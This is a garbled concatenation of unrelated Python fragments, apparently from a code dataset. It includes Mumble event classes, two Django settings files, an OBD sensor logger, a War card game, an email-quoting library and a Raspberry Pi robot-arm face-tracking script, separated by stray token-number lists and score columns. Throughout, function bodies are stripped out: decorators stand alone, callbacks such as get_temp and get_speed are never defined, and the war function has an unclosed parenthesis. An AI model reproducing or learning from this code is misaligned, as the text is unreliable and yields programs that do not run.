super(Ping, self).__init__(caller)
class UserRemove(MumbleEvent):
"""
User removal message
It looks like this is fired under three conditions..
* When a user disconnects or loses connection
* *kicker* will be None in that case
* When a user is kicked
* *kicker* will be set and ban will be False
* When a user is banned
* *kicker* will be set and ban will be True
This still requires some more research, the Mumble docs are awful.
"""
# TODO: Update this docstring when we're more sure of it
session = "" # Session ID
actor = "" # Session ID
user = None # User object
kicker = None # User object
reason = "" # Reason
ban = False # True if banned, false if kicked
def __init__(self, caller, session, actor, user, reason, ban, kicker):
"""
Initialise the event object.
"""
self.caller = caller
self.session = session
self.actor = actor
self.user = user
self.reason = reason
self.ban = ban
self.kicker = kicker
super(UserRemove, self).__init__(caller)
class Unknown(MumbleEvent):
"""
Unknown message - Called when we get a message that isn't already
handled
"""
type = ""
message = None
def __init__(self, caller, typ, message):
"""
Initialise the event object.
"""
self.type = typ
self.message = message
super(Unknown, self).__init__(caller)
class UserJoined(MumbleEvent):
"""
User join - Sent when a user joins the server
"""
user = None
def __init__(self, caller, user):
"""
Initialise the event object.
"""
self.user = user
super(UserJoined, self).__init__(caller)
class UserMoved(MumbleEvent):
"""
User moved - Sent when a user moves channel, or is moved
This is also fired when a user connects.
"""
user = None
channel = None
old_channel = None
def __init__(self, caller, user, channel, old):
"""
Initialise the event object.
"""
self.user = user
self.channel = channel
self.old_channel = old
super(UserMoved, self).__init__(caller)
class UserStateToggleEvent(MumbleEvent):
"""
Base class for events that are simply user state toggles
Don't use this directly; inherit it!
"""
user = None
state = False
actor = None
def __init__(self, caller, user, state, actor=None):
"""
Initialise the event object.
"""
self.user = user
self.state = state
self.actor = actor
super(UserStateToggleEvent, self).__init__(caller)
class UserMuteToggle(UserStateToggleEvent):
"""
User mute toggle - Sent when a user is muted or unmuted (but not by
themselves)
state: True if muted, False if unmuted
"""
pass
class UserDeafToggle(UserStateToggleEvent):
"""
User deaf toggle - Sent when a user is deafened or undeafened (but not
by themselves)
state: True if deafened, False if undeafened
"""
pass
class UserSuppressionToggle(UserStateToggleEvent):
"""
User suppression toggle - Sent when a user is suppressed or
unsuppressed
state: True if suppressed, False if unsuppressed
"""
pass
class UserSelfMuteToggle(UserStateToggleEvent):
"""
User mute toggle - Sent when a user is muted or unmuted by
themselves
state: True if muted, False if unmuted
"""
pass
class UserSelfDeafToggle(UserStateToggleEvent):
"""
User deaf toggle - Sent when a user is deafened or undeafened by
themselves
state: True if deafened, False if undeafened
"""
pass
class UserPrioritySpeakerToggle(UserStateToggleEvent):
"""
Priority speaker toggle - Sent when a user is set as priority speaker
state: True if set, False if unset
"""
pass
class UserRecordingToggle(UserStateToggleEvent):
"""
Recording toggle - Sent when a user starts or stops recording
state: True if started, False if stopped
"""
pass
class UserStats(MumbleEvent):
"""
User stats updated
user: User whose stats have been updated
"""
def __init__(self, caller, user):
"""
Initialise the event object.
"""
self.user = user
super(UserStats, self).__init__(caller)
class UserRegisteredEvent(MumbleEvent):
"""
Base class for user [un]registered events
Don't use this directly; inherit it!
"""
def __init__(self, caller, user, user_id, actor):
"""
Initialise the event object.
"""
self.user = user
self.user_id = user_id
self.actor = actor
super(UserRegisteredEvent, self).__init__(caller)
class UserRegistered(UserRegisteredEvent):
"""
User registered
user: User who has been registered
user_id: User's new ID
actor: User who registered `user`
"""
class UserUnregistered(UserRegisteredEvent):
"""
User unregistered
user: User who has been unregistered
user_id: User's old ID
actor: User who unregistered `user`
"""
class ChannelCreated(MumbleEvent):
"""
New channel - Sent when a channel is created
"""
channel = None
def __init__(self, caller, channel):
"""
Initialise the event object.
"""
self.channel = channel
super(ChannelCreated, self).__init__(caller)
class ChannelLinked(MumbleEvent):
"""
Channel link added - Sent when two channels are linked together
"""
from_channel = None
to_channel = None
def __init__(self, caller, from_, to_):
"""
Initialise the event object.
"""
self.from_channel = from_
self.to_channel = to_
super(ChannelLinked, self).__init__(caller)
class ChannelUnlinked(MumbleEvent):
"""
Channel link removed - Sent when two channels have their link removed
"""
from_channel = None
to_channel = None
def __init__(self, caller, from_, to_):
"""
Initialise the event object.
"""
self.from_channel = from_
self.to_channel = to_
super(ChannelUnlinked, self).__init__(caller)
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"""
Django settings for wagtail_template project.
Generated by 'django-admin startproject' using Django 4.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/4.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/4.0/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
import dj_database_url
PROJECT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
BASE_DIR = os.path.dirname(PROJECT_DIR)
# Django env
DJANGO_ENV = os.environ.get("DJANGO_ENV", "production")
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/
# Application definition
INSTALLED_APPS = [
"wagtail_template.home",
"wagtail_template.search",
"wagtail_template.utils",
# Simplified static file serving
# https://devcenter.heroku.com/articles/django-assets
# https://warehouse.python.org/project/whitenoise/
"whitenoise",
"wagtail.contrib.forms",
"wagtail.contrib.redirects",
"wagtail.embeds",
"wagtail.sites",
"wagtail.users",
"wagtail.snippets",
"wagtail.documents",
"wagtail.images",
"wagtail.search",
"wagtail.admin",
"wagtail.core",
"django_extensions",
"modelcluster",
"taggit",
"django.contrib.admin",
"django.contrib.auth",
"django.contrib.contenttypes",
"django.contrib.sessions",
"django.contrib.messages",
"django.contrib.staticfiles",
]
MIDDLEWARE = [
"django.contrib.sessions.middleware.SessionMiddleware",
"django.middleware.common.CommonMiddleware",
"django.middleware.csrf.CsrfViewMiddleware",
"django.contrib.auth.middleware.AuthenticationMiddleware",
"django.contrib.messages.middleware.MessageMiddleware",
"django.middleware.clickjacking.XFrameOptionsMiddleware",
"django.middleware.security.SecurityMiddleware",
# Simplified static file serving
# https://devcenter.heroku.com/articles/django-assets
# https://warehouse.python.org/project/whitenoise/
"whitenoise.middleware.WhiteNoiseMiddleware",
"wagtail.contrib.redirects.middleware.RedirectMiddleware",
]
ROOT_URLCONF = "wagtail_template.urls"
TEMPLATES = [
{
"BACKEND": "django.template.backends.django.DjangoTemplates",
"DIRS": [
os.path.join(PROJECT_DIR, "templates"),
],
"APP_DIRS": True,
"OPTIONS": {
"context_processors": [
"django.template.context_processors.debug",
"django.template.context_processors.request",
"django.contrib.auth.context_processors.auth",
"django.contrib.messages.context_processors.messages",
],
},
},
]
WSGI_APPLICATION = "wagtail_template.wsgi.application"
# Database
# https://docs.djangoproject.com/en/4.0/ref/settings/#databases
if "DATABASE_URL" in os.environ:
DATABASES = {
"default": dj_database_url.parse(os.environ["DATABASE_URL"]),
}
# Password validation
# https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
"NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator",
},
{
"NAME": "django.contrib.auth.password_validation.MinimumLengthValidator",
},
{
"NAME": "django.contrib.auth.password_validation.CommonPasswordValidator",
},
{
"NAME": "django.contrib.auth.password_validation.NumericPasswordValidator",
},
]
# Internationalization
# https://docs.djangoproject.com/en/4.0/topics/i18n/
LANGUAGE_CODE = "en-us"
TIME_ZONE = "UTC"
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/4.0/howto/static-files/
STATICFILES_FINDERS = [
"django.contrib.staticfiles.finders.FileSystemFinder",
"django.contrib.staticfiles.finders.AppDirectoriesFinder",
]
STATICFILES_DIRS = [
os.path.join(PROJECT_DIR, "static"),
]
# Simplified static file serving
# https://devcenter.heroku.com/articles/django-assets
# https://warehouse.python.org/project/whitenoise/
STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage"
STATIC_ROOT = os.path.join(BASE_DIR, "staticfiles")
STATIC_URL = "/static/"
# Media storage
if aws_storage_bucket_name := os.getenv("AWS_STORAGE_BUCKET_NAME"):
AWS_STORAGE_BUCKET_NAME = aws_storage_bucket_name
DEFAULT_FILE_STORAGE = "storages.backends.s3boto3.S3Boto3Storage"
AWS_ACCESS_KEY_ID = os.getenv("AWS_ACCESS_KEY_ID")
AWS_SECRET_ACCESS_KEY = os.getenv("AWS_SECRET_ACCESS_KEY")
AWS_S3_REGION_NAME = os.getenv("AWS_S3_REGION_NAME")
AWS_S3_CUSTOM_DOMAIN = os.getenv("AWS_S3_CUSTOM_DOMAIN")
AWS_LOCATION = os.getenv("AWS_LOCATION", "")
# Lines below this are likely only relevant for using Minio locally
AWS_S3_ENDPOINT_URL = os.getenv("AWS_S3_ENDPOINT_URL")
AWS_S3_USE_SSL = os.getenv("AWS_S3_USE_SSL", "true").lower() == "true"
AWS_S3_SECURE_URLS = os.getenv("AWS_S3_USE_SSL", "true").lower() == "true"
# Wagtail settings
WAGTAIL_SITE_NAME = "wagtail_template"
# Search
# https://docs.wagtail.org/en/stable/topics/search/backends.html
WAGTAILSEARCH_BACKENDS = {
"default": {
"BACKEND": "wagtail.search.backends.database",
}
}
# Base URL to use when referring to full URLs within the Wagtail admin backend -
# e.g. in notification emails. Don't include '/admin' or a trailing slash
BASE_URL = os.getenv("BASE_URL", "")
ALLOWED_HOSTS = os.getenv("ALLOWED_HOSTS", "").split(",")
SECRET_KEY = os.getenv("SECRET_KEY", "")
# Error reporting
# https://docs.sentry.io/platforms/python/guides/django/
# https://glitchtip.com/sdkdocs/python-django
if sentry_dsn := os.getenv("SENTRY_DSN"):
import sentry_sdk
from sentry_sdk.integrations.django import DjangoIntegration
from sentry_sdk.utils import get_default_release
SENTRY_ENVIRONMENT = DJANGO_ENV
# Attempt to get release version from Sentry's utils and a couple other environment variables
SENTRY_ARGS = {
"dsn": sentry_dsn,
"integrations": [DjangoIntegration()],
"environment": SENTRY_ENVIRONMENT,
"release": get_release_version(),
"traces_sample_rate": 0.01,
}
# Auto session tracking is not supported by GlitchTip
if "sentry.io" in sentry_dsn:
SENTRY_ARGS["auto_session_tracking"] = True
else:
SENTRY_ARGS["auto_session_tracking"] = False
sentry_sdk.init(**SENTRY_ARGS)
# Enables URL to test Sentry integration
ENABLE_SENTRY_TEST_URL = (
os.environ.get("ENABLE_SENTRY_TEST_URL", "false").lower() == "true"
)
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3419,
6624,
366,
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1,
198,
220,
220,
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1267,
198
] | 2.371019 | 2,857 |
from __future__ import absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement
from django import template
from ..models import Seat
register = template.Library()
@register.filter
@register.inclusion_tag('seat.html', takes_context=True)
| [
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import threading
import os
import obd
from random import random
from pathlib import Path
conn = obd.OBD()
connect = obd.Async(fast=False)
speed=""
fueli=""
tem =""
connect.watch(obd.commands.INTAKE_TEMP,callback=get_temp)
connect.watch(obd.commands.FUEL_LEVEL,callback=get_fuel)
connect.watch(obd.commands.SPEED,callback=get_speed)
while True:
tempz = open("temp.txt","w+")
fuel1 = open("fuel.txt","w+")
speed1 = open("speed.txt","w+")
speed1.write(speed)
tempz.write(tem)
fuel1.write(fueli)
print(speed)
| [
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] | 2.344398 | 241 |
# Core Library
import logging
# Third party
from gym.envs.registration import register
logger = logging.getLogger(__name__)
register(id="Mouse-v0", entry_point="gym_mouse.envs:MouseEnv") | [
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#Given an n-ary tree,
# return the postorder
# traversal of its nodes' values.
#Recursion is easy to implement and understand by definition
# https://en.wikipedia.org/wiki/Tree_traversal#Post-order_(LRN)
| [
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from flask_restful import Resource, reqparse, request
from flask_restful import fields, marshal_with, marshal
from sqlalchemy.exc import IntegrityError
from sqlalchemy import or_, and_, text
from flask_jwt_extended import jwt_required
from models.keyword import Keyword
from app import db
from utils.util import max_res
from helpers.keywords_resource_helper import * | [
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import os
directory = os.path.dirname(__file__)
| [
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] | 2.684211 | 19 |
import os, sys, cyclone.web
import pyobf
from twisted.python import log
from twisted.internet import reactor
if __name__ == "__main__":
log.startLogging(sys.stdout)
port = int(os.environ.get('PORT', 5000))
reactor.listenTCP(port, Application())
reactor.run()
| [
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"""This file defines a URL validators based on Django ones.
"""
import re
# ----------------------------------------------------------------------------------------------------------------------
""" this regex is different from the one defined by Django because:
- in our case protocol is optional
- I decided that localhost is not a valid URL. This is a design decision that may be changed in future.
"""
url_regex = re.compile(
r'^((?:http|ftp)s?://)?' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' #domain...
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
r'(?::\d+)?' # optional port
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
# ----------------------------------------------------------------------------------------------------------------------
# ----------------------------------------------------------------------------------------------------------------------
""" When doing a redirect, we need a URL with a protocol and using regex seems to be a simplest way of doing that
"""
redirect_url_regex = re.compile(
r'^(?:http|ftp)s?://.*$', re.IGNORECASE)
# ----------------------------------------------------------------------------------------------------------------------
# ----------------------------------------------------------------------------------------------------------------------
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] | 3.545906 | 403 |
#!/usr/bin/env python3.6
import random
def init():
'''
This builds the deck to draw from.
This runs at the beginning of the program then shoud only be run
to start a new game.
'''
# These are the possible face values and suits for the cards.
cardfaces = ("A","K","Q","J","10","9","8","7","6","5","4","3","2")
cardsuits = ("H","S","D","C")
# This section builds the cards with their assigned suits
# ex. thisdeck = [AH, KH, QH, ...]
thisdeck = []
complete_deck = []
for suit in cardsuits:
for face in cardfaces:
thisdeck.append(face+suit)
# This section takes the completed deck and assigns each card to a tuple
# This tuple has the generated card value and suit at complete_deck[*]
# The card's numeric stregnth is stored in complete_deck[*][*]
# A = 14, K = 13, Q = 12, J = 11
# ex. complete_deck = [(AH, 14), (KH, 13), (QH, 12), ... ]
for card in thisdeck:
card_value = ''
for value in card:
if value == 'D' or value == 'S' or value == 'C' or value == 'H':
break
elif value == 'A' or value == 'K' or value == 'Q' or value == 'J':
if value == 'A':
card_value = 14
elif value == 'K':
card_value = 13
elif value == 'Q':
card_value = 12
else:
card_value = 11
else:
card_value = card_value + str(value)
complete_deck.append((card, int(card_value)))
return complete_deck
def shuffle(mycards):
'''
This takes the input list and shuffles it.
In war.py it is used to shuffle decks of cards stord in lists.
Requires import random.
'''
unshuffled = mycards
shuffled = []
for count in range (0,len(unshuffled)):
pick = ''
while (pick == ''):
pick = random.choice(unshuffled)
shuffled.append(pick)
unshuffled.remove(pick)
return shuffled
def startinghands(deck):
'''
This function divides the availible cards to the two players.
'''
hand0 = []
hand1 = []
count = 0
for deal in range(0,len(deck)):
# Switch the target player when dealing each card.
# This reflects a real card deal.
if count % 2 == 0:
hand0.append(deck[deal])
else:
hand1.append(deck[deal])
# instead of .append() I may want to use insert to place new cards at
# the front of the list. This would reflect a real deal even closer.
count += 1
return (hand0, hand1)
def print_hands(p1hand, p2hand):
'''
This prints the current hands for the players.
It only prints the face value and suit.
It does not print the converted value for the card.
'''
print ('Player 1 has', len(p1hand), 'card(s): ')
for card_pair in p1hand:
print (card_pair[0], end=' ')
print('\n')
print ('Player 2 has', len(p2hand), 'card(s): ')
for card_pair in p2hand:
print (card_pair[0], end=' ')
print('\n')
def fight(hand1, hand2):
'''
This function is the core for comparing the cards
The function expects 2 lists of tuples containing the players hands.
example input: [(AH, 14), (KH, 13), (QH, 12), ... ]
'''
card1 = ''
card2 = ''
player1loot = []
player2loot = []
while hand1 != [] and hand2 != []:
while hand1 != [] and hand2 != []:
print ()
print ('Card pair: ')
print ('Player 1: ', hand1[0][0])
print ('Player 2: ', hand2[0][0])
# #################################
# #######TO DO#####################
if hand1[0][0] == hand2[0][0]:
# war(hand1, hand2, player1loot, player2loot)
hand1.pop(0)
hand2.pop(0)
# #####COMPLETE WAR FUNCTION ABOVE#
# #################################
elif hand1 > hand2:
print ('Player 1 wins hand')
player1loot.append(hand1[0])
player1loot.append(hand2[0])
hand1.pop(0)
hand2.pop(0)
else:
print ('Player 2 wins hand')
player2loot.append(hand1[0])
player2loot.append(hand2[0])
hand1.pop(0)
hand2.pop(0)
'''
# uncomment below lines to see how cards move during shuffling process
# see below comment block too!
print ('-------------------Before Shuffle-------------------')
print ('\#cards', len(hand1), 'hand1', hand1)
print ('\#cards', len(hand2), 'hand2', hand2)
print ()
print ('\#cards', len(player1loot), 'p1loot', player1loot)
print ('\#cards', len(player2loot), 'p2loot', player2loot)
print ()
# uncomment above lines to see how cards move during shuffling process
'''
# ??????Why does this blank the list used for the argument???
if hand1 == []:
print('Shuffling player 1\'s hand')
hand1 = shuffle(player1loot)
else:
pass
if hand2 == []:
print('Shuffling player 2\'s hand')
hand2 = shuffle(player2loot)
else:
pass
'''
# uncomment below lines to see how cards move during shuffling process
# see above comment block too!
print ('-------------------After Shuffle--------------------')
print ('\#cards', len(hand1), 'hand1', hand1)
print ('\#cards', len(hand2), 'hand2', hand2)
print ()
print ('\#cards', len(player1loot), 'p1loot', player1loot)
print ('\#cards', len(player2loot), 'p2loot', player2loot)
print ()
# uncomment above lines to see how cards move during shuffling process
'''
# check to see if player hand is still empty after shuffle
# if it is other player wins!!
if hand1 == []:
print ('Player 2 Wins!!')
else:
pass
if hand2 == []:
print ('Player 1 Wins!!')
else:
pass
def war(hand1, hand2, player1loot, player2loot):
'''
If two cards match in the war function this one resolves the tie.
'''
print ('WAR!!!')
print ('P1 card: ', hand1[0][0], 'P2 card: ', hand2[0][0])
print ('Cards on the line: ')
print (' P1 P2')
for card in range(3):
print (' ', hand1[card][0], hand2[card][0]
if __name__ == '__main__':
# These lines start the game and initialize the deck and player's hands.
cards = init()
cards = shuffle(cards)
cards = startinghands(cards)
p1hand = cards[0]
p2hand = cards[1]
# ######################################################################
# This will print the players starting hands.
print_hands(p1hand, p2hand)
fight(p1hand, p2hand)
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220,
1907,
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] | 2.189347 | 3,248 |
import os
import json
import shutil
from peewee import SqliteDatabase
from wearebeautiful.db_model import DBModel, db, create_from_manifest
from wearebeautiful.manifest import validate_manifest
import config
DB_FILE = "wab-models.db"
MIN_SURFACE_MED_SIZE = 8 * 1024 * 1024
MAX_SURFACE_MED_SIZE = 12 * 1024 * 1024
MIN_SURFACE_LOW_SIZE = 1.5 * 1024 * 1024
MAX_SURFACE_LOW_SIZE = 5 * 1024 * 1024
| [
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] | 2.765517 | 145 |
# print(pig_latin("Python"))
# print(pig_latin("computer"))
# print(pig_latin(("air")))
# print(ubbi_dubbi())
get_running_avg()
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] | 2.15873 | 63 |
from flask import Flask
app = Flask(__name__)
@app.route('/')
if __name__ == '__main__':
app.run()
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] | 2.454545 | 44 |
from django.contrib import admin
# Register your models here.
from accounts.models import Customer
admin.site.register(Customer) | [
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] | 3.939394 | 33 |
'''
def compare(file1, file2):
f1 = open(file1, 'r')
f2 = open(file2, 'r')
right_counter = 0
wrong_lines = []
for i in range(50):
r1 = f1.readline()
r2 = f2.readline()
r1 = r1.strip('\n')
r2 = r2.strip('\n')
if r1[-1:] == r2[-1:]:
right_counter += 1
else:
wrong_lines.append(i)
print('Wrong lines are: %s\nAmount of wrongs is %i\n\nAmount of rights is %i\nWell Done!' % (str(wrong_lines), len(wrong_lines), right_counter))'''
compare('actual_brazil_2014.csv', 'predicted_brazil_5')
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] | 2.151899 | 237 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from db import SessionFactory, Engine
__all__ = [
SessionFactory,
Engine
]
| [
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] | 2.604167 | 48 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Глобальный файл настроек
"""
# ######################################################################################################################
# Класс для выделения текста
# ######################################################################################################################
class Color:
"""Класс для выделения текста"""
# ------------------------------------------------------------------------------------------------------------------
# Конструктор
# ------------------------------------------------------------------------------------------------------------------
# ------------------------------------------------------------------------------------------------------------------
# Свойства
# ------------------------------------------------------------------------------------------------------------------
@property
@property
@property
@property
@property
# ######################################################################################################################
# Класс для сообщений
# ######################################################################################################################
class Messages(Color):
"""Класс для сообщений"""
# ------------------------------------------------------------------------------------------------------------------
# Конструктор
# ------------------------------------------------------------------------------------------------------------------
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] | 4.571014 | 345 |
import cv2
import imutils
import time
import threading
import serial
import RPi.GPIO as GPIO
from bluetooth import *
from serial.serialutil import SerialException
# -------------------변수 선언 부분-------------------
port = "/dev/ttyACM0"
reset_timer_seconds = -1
angles = [150, 120, 130]
arduino = serial.Serial(port, 115200, timeout=1)
haarcascade_file = '/home/pi/ArduinoRobotArm_MDP/RaspberryPi/haarcascade/haarcascade_frontalface_alt2.xml'
GPIO.setmode(GPIO.BCM)
GPIO.setup(2, GPIO.OUT)
GPIO.setup(3, GPIO.OUT)
server_socket = BluetoothSocket(RFCOMM)
# -------------------타이머 쓰레드 부분-------------------
# -------------------블루투스 함수 부분-------------------
# -------------------모터 제어 함수 부분-------------------
"""
멀티스레드로 send_serial과 read_serial를 상주시켜서 계속해서 시리얼을 주고 받음.
"""
# -------------------OpenCV 함수 부분-------------------
faceCascade = cv2.CascadeClassifier(haarcascade_file) # 얼굴 학습 파일 불러오기
# eyeCascade = cv2.CascadeClassifier('./haarcascade/haarcascade_eye.xml')
video_capture = cv2.VideoCapture(0)
prevTime = 0
# -------------------초기화 부분-------------------
read_thread = threading.Thread(target=read_serial, args=(arduino,))
read_thread.start()
send_thread = threading.Thread(target=send_serial, args=(arduino,))
send_thread.start()
timer_thread = threading.Thread(target=reset_timer)
timer_thread.start()
bluetooth_thread = threading.Thread(target=get_bluetooth)
bluetooth_thread.start()
# -------------------반복문 부분-------------------
while True:
_, frame = video_capture.read()
curTime = time.time()
sec = curTime - prevTime
prevTime = curTime
fps = 1 / sec
fps = "FPS : %0.1f" % fps
frame = imutils.resize(cv2.flip(frame, 1), width=320, height=240) # 라즈베리파이 연산력 부족으로 해상도 리사이즈
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
canvas = detect(gray, frame)
cv2.rectangle(frame, (110, 120), (210, 60), (0, 0, 255), 2)
cv2.putText(canvas, fps, (0, 13),
cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 255, 0))
cv2.imshow('canvas', canvas)
if cv2.waitKey(30) == 27: # esc 눌렀을때 종료
break
video_capture.release()
cv2.destroyAllWindows()
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] | 2.024857 | 1,046 |
#!/usr/bin/env python
#
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
import unittest
from onefuzztypes.validators import check_alnum_dash
if __name__ == "__main__":
unittest.main()
| [
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] | 2.945946 | 74 |
# -*- coding: utf-8 -*-
# quotequail
# a library that identifies quoted text in email messages
import re
from . import _internal
__all__ = ['quote', 'quote_html', 'unwrap', 'unwrap_html']
def quote(text, limit=1000):
"""
Takes a plain text message as an argument, returns a list of tuples. The
first argument of the tuple denotes whether the text should be expanded by
default. The second argument is the unmodified corresponding text.
Example: [(True, 'expanded text'), (False, '> Some quoted text')]
Unless the limit param is set to None, the text will automatically be quoted
starting at the line where the limit is reached.
"""
lines = text.split('\n')
found = _internal.find_quote_position(lines, _patterns.MAX_WRAP_LINES, limit)
if found != None:
return [(True, '\n'.join(lines[:found+1])), (False, '\n'.join(lines[found+1:]))]
return [(True, text)]
def quote_html(html, limit=1000):
"""
Like quote(), but takes an HTML message as an argument. The limit param
represents the maximum number of lines to traverse until quoting the rest
of the markup. Lines are separated by block elements or <br>.
"""
from . import _html
tree = _html.get_html_tree(html)
start_refs, end_refs, lines = _html.get_line_info(tree, limit+1)
found = _internal.find_quote_position(lines, 1, limit)
if found == None:
# No quoting found and we're below limit. We're done.
return [(True, _html.render_html_tree(tree))]
else:
start_tree = _html.slice_tree(tree, start_refs, end_refs,
(0, found+1), html_copy=html)
end_tree = _html.slice_tree(tree, start_refs, end_refs,
(found+1, None))
return [
(True, _html.render_html_tree(start_tree)),
(False, _html.render_html_tree(end_tree)),
]
def unwrap(text):
"""
If the passed text is the text body of a forwarded message, a reply, or
contains quoted text, a dictionary with the following keys is returned:
- type: "reply", "forward" or "quote"
- text_top: Text at the top of the passed message (if found)
- text_bottom: Text at the bottom of the passed message (if found)
- from / to / subject / cc / bcc / reply-to: Corresponding header of the
forwarded message, if it exists. (if found)
- text: Unindented text of the wrapped message (if found)
Otherwise, this function returns None.
"""
lines = text.split('\n')
result = _internal.unwrap(lines, _patterns.MAX_WRAP_LINES,
_patterns.MIN_HEADER_LINES,_patterns.MIN_QUOTED_LINES)
if result:
typ, top_range, hdrs, main_range, bottom_range, needs_unindent = result
text_top = lines[slice(*top_range)] if top_range else ''
text = lines[slice(*main_range)] if main_range else ''
text_bottom = lines[slice(*bottom_range)] if bottom_range else ''
if needs_unindent:
text = _internal.unindent_lines(text)
result = {
'type': typ,
}
text = '\n'.join(text).strip()
text_top = '\n'.join(text_top).strip()
text_bottom = '\n'.join(text_bottom).strip()
if text:
result['text'] = text
if text_top:
result['text_top'] = text_top
if text_bottom:
result['text_bottom'] = text_bottom
if hdrs:
result.update(hdrs)
return result
def unwrap_html(html):
"""
If the passed HTML is the HTML body of a forwarded message, a dictionary
with the following keys is returned:
- type: "reply", "forward" or "quote"
- html_top: HTML at the top of the passed message (if found)
- html_bottom: HTML at the bottom of the passed message (if found)
- from / to / subject / cc / bcc / reply-to: Corresponding header of the
forwarded message, if it exists. (if found)
- html: HTML of the forwarded message (if found)
Otherwise, this function returns None.
"""
from . import _html
tree = _html.get_html_tree(html)
start_refs, end_refs, lines = _html.get_line_info(tree)
result = _internal.unwrap(lines, 1, _patterns.MIN_HEADER_LINES, 1)
if result:
typ, top_range, hdrs, main_range, bottom_range, needs_unindent = result
result = {
'type': typ,
}
top_range = _html.trim_slice(lines, top_range)
main_range = _html.trim_slice(lines, main_range)
bottom_range = _html.trim_slice(lines, bottom_range)
if top_range:
top_tree = _html.slice_tree(tree, start_refs, end_refs, top_range,
html_copy=html)
html_top = _html.render_html_tree(top_tree)
if html_top:
result['html_top'] = html_top
if bottom_range:
bottom_tree = _html.slice_tree(tree, start_refs, end_refs,
bottom_range, html_copy=html)
html_bottom = _html.render_html_tree(bottom_tree)
if html_bottom:
result['html_bottom'] = html_bottom
if main_range:
main_tree = _html.slice_tree(tree, start_refs, end_refs, main_range)
if needs_unindent:
_html.unindent_tree(main_tree)
html = _html.render_html_tree(main_tree)
if html:
result['html'] = html
if hdrs:
result.update(hdrs)
return result
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] | 2.342472 | 2,371 |
from django.core.exceptions import ImproperlyConfigured
import os, hashlib
import confy
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
confy.read_environment_file(BASE_DIR+"/.env")
os.environ.setdefault("BASE_DIR", BASE_DIR)
from ledger.settings_base import *
ROOT_URLCONF = 'disturbance.urls'
SITE_ID = 1
DEPT_DOMAINS = env('DEPT_DOMAINS', ['dpaw.wa.gov.au', 'dbca.wa.gov.au'])
SUPERVISOR_STOP_CMD = env('SUPERVISOR_STOP_CMD')
SYSTEM_MAINTENANCE_WARNING = env('SYSTEM_MAINTENANCE_WARNING', 24) # hours
DISABLE_EMAIL = env('DISABLE_EMAIL', False)
MEDIA_APP_DIR = env('MEDIA_APP_DIR', 'das')
MEDIA_APIARY_DIR = env('MEDIA_APIARY_DIR', 'apiary')
SPATIAL_DATA_DIR = env('SPATIAL_DATA_DIR', 'spatial_data')
ANNUAL_RENTAL_FEE_GST_EXEMPT = True
INSTALLED_APPS += [
'reversion_compare',
'bootstrap3',
'disturbance',
'disturbance.components.main',
'disturbance.components.organisations',
'disturbance.components.users',
'disturbance.components.proposals',
'disturbance.components.approvals',
'disturbance.components.compliances',
'disturbance.components.das_payments',
'taggit',
'rest_framework',
'rest_framework_datatables',
'rest_framework_gis',
'reset_migrations',
'ckeditor',
'smart_selects',
]
ADD_REVERSION_ADMIN=True
# maximum number of days allowed for a booking
WSGI_APPLICATION = 'disturbance.wsgi.application'
'''REST_FRAMEWORK = {
'DEFAULT_PERMISSION_CLASSES': (
'disturbance.perms.OfficerPermission',
)
}'''
#REST_FRAMEWORK = {
# 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',
# #'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',
# 'PAGE_SIZE': 5
#}
REST_FRAMEWORK = {
'DEFAULT_RENDERER_CLASSES': (
'rest_framework.renderers.JSONRenderer',
'rest_framework.renderers.BrowsableAPIRenderer',
'rest_framework_datatables.renderers.DatatablesRenderer',
),
#'DEFAULT_FILTER_BACKENDS': (
# 'rest_framework_datatables.filters.DatatablesFilterBackend',
#),
#'DEFAULT_PAGINATION_CLASS': 'rest_framework_datatables.pagination.DatatablesPageNumberPagination',
#'PAGE_SIZE': 20,
}
USE_DJANGO_JQUERY= True
# JQUERY_URL = True
MIDDLEWARE_CLASSES += [
'disturbance.middleware.BookingTimerMiddleware',
'disturbance.middleware.FirstTimeNagScreenMiddleware',
'disturbance.middleware.RevisionOverrideMiddleware',
'disturbance.middleware.DomainDetectMiddleware',
]
TEMPLATES[0]['DIRS'].append(os.path.join(BASE_DIR, 'disturbance', 'templates'))
TEMPLATES[0]['DIRS'].append(os.path.join(BASE_DIR, 'disturbance','components','organisations', 'templates'))
TEMPLATES[0]['DIRS'].append(os.path.join(BASE_DIR, 'disturbance','components','emails', 'templates'))
TEMPLATES[0]['OPTIONS']['context_processors'].append('disturbance.context_processors.apiary_url')
del BOOTSTRAP3['css_url']
#BOOTSTRAP3 = {
# 'jquery_url': '//static.dpaw.wa.gov.au/static/libs/jquery/2.2.1/jquery.min.js',
# 'base_url': '//static.dpaw.wa.gov.au/static/libs/twitter-bootstrap/3.3.6/',
# 'css_url': None,
# 'theme_url': None,
# 'javascript_url': None,
# 'javascript_in_head': False,
# 'include_jquery': False,
# 'required_css_class': 'required-form-field',
# 'set_placeholder': False,
#}
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': os.path.join(BASE_DIR, 'disturbance', 'cache'),
}
}
